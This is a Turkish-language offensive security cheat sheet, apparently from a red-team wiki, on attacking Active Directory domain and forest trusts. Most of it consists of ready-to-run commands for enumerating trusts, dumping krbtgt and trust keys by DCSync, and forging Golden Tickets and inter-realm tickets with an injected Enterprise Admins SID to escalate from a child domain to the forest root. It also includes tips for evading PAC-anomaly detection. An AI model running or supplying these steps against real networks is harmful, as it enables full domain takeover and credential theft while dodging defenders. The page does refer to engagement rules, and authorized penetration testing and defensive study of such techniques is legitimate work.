Domain & Forest Trust Saldırıları
ATT&CK T1482 difficulty: zor
Trust ilişkileri, bir domain’deki kimliklerin başka bir domain/forest’taki kaynaklara erişmesini sağlar. Bir domain’i ele geçiren saldırgan, güven yönüne ve türüne göre komşu domain’lere sıçrayabilir. Intra-forest (child → parent) yükseltme klasik ve güvenilirdir; inter-forest ise SID filtering ve trust yönüne bağlıdır.
Komut üreteci
Section titled “Komut üreteci”Trusts · nltest
embedded toolnltest /domain_trusts /all_trusts /server:domain.localTrusts · nltest
Section titled “Trusts · nltest”Trust keşfi
Section titled “Trust keşfi”Get-DomainTrustGet-DomainTrustMappingGet-ForestDomain | % { Get-DomainTrust -Domain $_.Name }Get-ADTrust -Filter *nltest /domain_trusts /all_trustsnltest /server:dc01 /domain_trustsnxc ldap 10.10.10.5 -u user -p 'Pass123' --find-delegation # dolaylı ipuculdapsearch -x -H ldap://10.10.10.5 -D 'user@domain.local' -w 'Pass123' \ -b 'CN=System,DC=domain,DC=local' '(objectClass=trustedDomain)' \ trustPartner trustDirection trustType trustAttributesYön (trustDirection): 1 inbound — karşı taraf bize güvenir (bizim kullanıcılar oraya gider) 2 outbound — biz karşıya güveniriz 3 bidirectionalTür (trustType): Windows / MIT / DCEtrustAttributes: WITHIN_FOREST, FOREST_TRANSITIVE, FILTER_SIDS (SID filtering), CROSS_ORGANIZATION, TREAT_AS_EXTERNAL …BloodHound: TrustedBy / foreign group membership kenarları; Users with Foreign Domain Group Membership, forest haritası.
Intra-forest yükseltme (child → parent)
Section titled “Intra-forest yükseltme (child → parent)”Forest içinde child domain ele geçirmek, pratikte forest köküne giden yoldur: SID filtering varsayılan olarak uygulanmaz; sidHistory ile Enterprise Admins (SID -519) enjekte edilebilir.
-
Child domain’i ele geçir — child’ta DCSync ile krbtgt + domain SID al:
Terminal window impacket-secretsdump -just-dc-user krbtgt child.corp.local/admin:'Pass'@10.10.10.5Terminal window impacket-lookupsid child.corp.local/admin:'Pass'@10.10.10.5 | head -
SID History ile Golden Ticket — parent forest’ın Enterprise Admins SID’ini extra SIDs olarak ekle ( -519 ):
Terminal window impacket-ticketer -nthash <child_krbtgt_NT> \-domain-sid S-1-5-21-CHILD-CHILD-CHILD \-domain child.corp.local \-extra-sid S-1-5-21-ROOT-ROOT-ROOT-519 \AdministratorTerminal window export KRB5CCNAME=Administrator.ccachemimikatz # kerberos::golden /user:Administrator /domain:child.corp.local \/sid:S-1-5-21-CHILD-CHILD-CHILD /krbtgt:<hash> \/sids:S-1-5-21-ROOT-ROOT-ROOT-519 /ptt -
Parent kaynaklarına eriş — Enterprise Admin yetkisiyle kök DC’ye DCSync / PtT:
Terminal window impacket-secretsdump -k -no-pass corp.local/Administrator@dc-root.corp.local
Trust anahtarı (inter-realm / external)
Section titled “Trust anahtarı (inter-realm / external)”Trust hesabının (DOMAIN$ benzeri trustedDomain) hash’i veya AES anahtarı DCSync / NTDS ile alınabilir. Bu anahtarla inter-realm TGT forge edilir.
impacket-secretsdump -just-dc domain.local/admin:'Pass'@DC | grep -i 'TRUST\|krbtgt'mimikatz # kerberos::golden /user:Administrator /domain:current.local \ /sid:S-1-5-21-CURRENT /rc4:<trust_NT_hash> \ /service:krbtgt /target:trusted.local /pttimpacket-ticketer -nthash <trust_key> -domain-sid S-1-5-21-... \ -domain current.local -spn krbtgt/trusted.local AdministratorArdından trusted domain’de TGS iste (getST / normal Kerberos) — erişim, karşı tarafın ne kadar güvendiğine ve SID filtering’e bağlıdır.
SID filtering ve dış trust nüansları
Section titled “SID filtering ve dış trust nüansları”| Senaryo | SID History abuse | Not |
|---|---|---|
| Intra-forest parent-child | Genelde çalışır | En güvenilir yükseltme |
| External trust | FILTER_SIDS sık açık | -519 vb. filtrelenir |
| Forest trust | Quarantine / filtering | Foreign SID’ler kısıtlı |
| Selective authentication | Ek erişim kontrolü | Kaynak ACL şart |
Inter-forest’ta pratik yollar çoğu zaman:
- Trusted domain’de zaten geçerli bir hesabın foreign group üyeliği (BloodHound foreign membership).
- Paylaşılan servis hesapları / aynı parola (password reuse across forest).
- Trust yönü outbound ise kendi kullanıcılarınla karşı kaynaklara erişim denemeleri (enum shares, MSSQL).
Extra SID / PAC manipülasyonu (Diamond benzeri bağlam)
Section titled “Extra SID / PAC manipülasyonu (Diamond benzeri bağlam)”Modern tespit Golden Ticket’ı PAC anomalisinden yakalayabilir. Trust senaryosunda da mümkün olduğunca:
- Gerçek krbtgt AES256 kullan ( -aesKey ).
- Kullanıcı adını mevcut bir hesapla hizala.
- Child compromise sonrası meşru TGT alıp yükseltme (Sapphire/Diamond yaklaşımları) — ayrıntı Golden Ticket ve Persistence .
Opsec (ofansif)
Section titled “Opsec (ofansif)”- Child→parent Golden + -519 anında forest-wide etki; angajman kuralına uy (stop condition).
- Trust key dump’ı tam DCSync kadar gürültülü olabilir — sadece trust hesabını -just-dc-user ile çek.
- Inter-forest denemelerinde başarısız logon’lar karşı SOC’ta görünür; önce filtering / yön doğrula.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Trust yönünü ters okumak (inbound/outbound karışıklığı).
- Parent SID’i yanlış hesaplamak — lookupsid / BloodHound’dan doğrula.
- External trust’ta SID history ile EA bekleyip filtering’e takılmak.
- Kerberos’ta hedef FQDN ve iki domain’in DNS/resolv.conf ihtiyacı.
- nltest çıktısındaki isimlerle ticketer -domain / -target uyuşmazlığı.
Sonraki adımlar
Section titled “Sonraki adımlar”- Golden Ticket
- DCSync
- BloodHound foreign membership sorguları